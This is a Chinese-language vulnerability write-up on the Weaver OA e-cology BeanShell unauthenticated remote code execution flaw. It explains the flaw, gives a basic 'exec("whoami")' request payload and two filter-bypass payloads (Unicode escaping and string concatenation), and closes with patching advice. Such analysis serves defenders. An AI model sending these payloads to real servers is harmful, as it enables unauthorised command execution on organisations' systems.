【漏洞分析】泛微OA E-cology 远程代码执行漏洞原理分析、过滤器绕过及批量检测工具
字数 1030 2025-08-26 22:11:15
泛微OA E-cology远程代码执行漏洞深度分析
1. 漏洞概述
漏洞名称:泛微OA E-cology远程代码执行漏洞
CNVD编号:CNVD-2019-32204
影响版本:e-cology <=9.0
威胁等级:高危
公开时间:2019年9月17日
2. 漏洞背景
泛微OA官方于2019年9月17日更新了一个远程代码执行漏洞补丁。该漏洞存在于泛微e-cology OA系统的JAVA Beanshell接口中,攻击者可未授权访问该接口,通过构造特定的HTTP请求绕过泛微本身的安全限制,实现远程命令执行。
3. 技术原理分析
3.1 BeanShell基础知识
BeanShell是一个小型、免费、可嵌入的Java源解释器,具有以下特点:
- 动态执行标准Java语法
- 支持松散类型、命令和方法闭包
- 可以执行print、dir、eval、exec等命令
3.2 漏洞根源分析
通过反编译bsh-2.0b4.jar文件,发现漏洞存在于servlet.BshServlet类中:
-
关键方法:
doGet和doPost方法用于接收并执行提交的数据doPost是对doGet的二次封装
-
执行流程:
doGet方法调用evalScript方法创建名为obj的对象evalScript方法中的pramString参数最终会被interpreter.eval处理- 调用链最终到达
bsh.commands/exec.bsh脚本,该脚本可以执行系统命令
4. 漏洞复现
4.1 基本POC
bsh.script=exec("whoami");&bsh.servlet.output=raw
4.2 绕过过滤器的POC
-
Unicode编码绕过:
bsh.script=\u0065\u0078\u0065\u0063("whoami");&bsh.servlet.output=raw -
字符串拼接绕过:
bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
5. 漏洞检测工具
GitHub上提供了批量验证脚本,组合了常用的泛微OA web路径和上述绕过过滤器的POC:
6. 防护建议
- 及时升级到最新版本,安装官方补丁
- 限制对BeanShell接口的访问权限
- 部署WAF设备,过滤可疑的请求
- 监控系统日志,检测异常命令执行行为
7. 总结
该漏洞利用BeanShell接口未授权访问和命令执行功能,通过精心构造的HTTP请求绕过安全限制,危害性较高。建议所有使用泛微OA系统的组织尽快检查并修复此漏洞。